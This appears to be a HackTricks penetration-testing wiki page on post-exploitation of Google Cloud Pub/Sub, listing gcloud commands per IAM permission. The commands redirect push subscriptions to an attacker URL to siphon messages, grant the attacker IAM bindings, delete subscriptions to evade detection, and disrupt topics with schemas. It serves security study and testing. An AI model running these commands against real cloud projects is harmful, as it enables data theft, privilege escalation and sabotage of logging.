# GCP - Pub/Sub Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Pub/Sub

For more information about Pub/Sub check the following page:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.topics.publish`

Publish a message in a topic, useful to **send unexpected data** and trigger unexpected functionalities or exploit vulnerabilities:

<details>

<summary>Publish message to topic</summary>

```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
```

</details>

### `pubsub.topics.detachSubscription`

Useful to prevent a subscription from receiving messages, maybe to avoid detection.

<details>

<summary>Detach subscription from topic</summary>

```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```

</details>

### `pubsub.topics.delete`

Useful to prevent a subscription from receiving messages, maybe to avoid detection.\
It's possible to delete a topic even with subscriptions attached to it.

<details>

<summary>Delete topic</summary>

```bash
gcloud pubsub topics delete <TOPIC NAME>
```

</details>

### `pubsub.topics.update`

Use this permission to update some setting of the topic to disrupt it, like `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...

### `pubsub.topics.setIamPolicy`

Give yourself permission to perform any of the previous attacks.

```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
  --role="<ROLE_OR_CUSTOM_ROLE>" \
  --project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
  --member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
  --role="<ROLE_OR_CUSTOM_ROLE>" \
  --project="<PROJECT_ID>"
  
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
  <(echo '{
    "bindings": [
      {
        "role": "<ROLE_OR_CUSTOM_ROLE>",
        "members": [
          "serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
        ]
      }
    ]
  }') \
  --project=<PROJECT_ID>
```

### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)

Get all the messages in a web server:

<details>

<summary>Create push subscription to receive messages</summary>

```bash
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```

</details>

Create a subscription and use it to **pull messages**:

<details>

<summary>Create pull subscription and retrieve messages</summary>

```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
```

</details>

### `pubsub.subscriptions.delete`

**Delete a subscription** could be useful to disrupt a log processing system or something similar:

<details>

<summary>Delete subscription</summary>

```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```

</details>

### `pubsub.subscriptions.update`

Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.

<details>

<summary>Update subscription endpoint</summary>

```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```

</details>

### `pubsub.subscriptions.setIamPolicy`

Give yourself the permissions needed to perform any of the previously commented attacks.

### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)

Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
If there aren't any schemas you might need to create one.

<details>

<summary>Create schema file and attach to topic</summary>

```json:schema.json
{
  "namespace": "com.example",
  "type": "record",
  "name": "Person",
  "fields": [
    {
      "name": "name",
      "type": "string"
    },
    {
      "name": "age",
      "type": "int"
    }
  ]
}
```

```bash
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
    --schema=projects/<project-name>/schemas/<topic-id> \
    --message-encoding=json
```

</details>

### `pubsub.schemas.delete`

This might look like deleting a schema you will be able to send messages that doesn't fulfil with the schema. However, as the schema will be deleted no message will actually enter inside the topic. So this is **USELESS**:

<details>

<summary>Delete schema (not useful)</summary>

```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```

</details>

### `pubsub.schemas.setIamPolicy`

Give yourself the permissions needed to perform any of the previously commented attacks.

### `pubsub.snapshots.create`, `pubsub.snapshots.seek`

This is will create a snapshot of all the unACKed messages and put them back to the subscription. Not very useful for an attacker but here it's:

<details>

<summary>Create snapshot and seek to it</summary>

```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
    --subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
    --snapshot=YOUR_SNAPSHOT_NAME
```

</details>

{{#include ../../../banners/hacktricks-training.md}}



